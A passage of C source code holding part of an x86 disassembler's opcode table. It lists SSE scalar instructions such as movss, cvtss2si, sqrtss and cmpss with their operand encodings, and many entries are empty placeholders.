INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movss", AM_W|OT_ss|P_w, AM_V|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movsldup", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movshdup", AM_V|OT_ps|P_w, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cvtsi2ss", AM_V|OT_ss|P_r, AM_E|OT_d|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cvttss2si", AM_G|OT_d|P_r, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtss2si", AM_G|OT_d|P_r, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "sqrtss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "rsqrtss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "rcpss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "addss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "mulss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvtsd2sd", AM_V|OT_sd|P_r, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "cvttps2dq", AM_V|OT_dq|P_r, AM_W|OT_ps|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "subss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "minss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "divss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "maxss", AM_V|OT_ss|P_w, AM_W|OT_ss|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movdqu", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_SSE, "pshufhw", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movq", AM_V|OT_q|P_w, AM_W|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_SSE, "movdqu", AM_V|OT_dq|P_w, AM_W|OT_dq|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cmpss", AM_V|OT_ss|P_r, AM_W|OT_ss|P_r, AM_I|OT_b, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "movq2dq", AM_V|OT_dq|P_w, AM_Q|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_SSE, "cvtdq2pd", AM_V|OT_pd|P_r, AM_W|OT_q|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_OTHER, NULL, 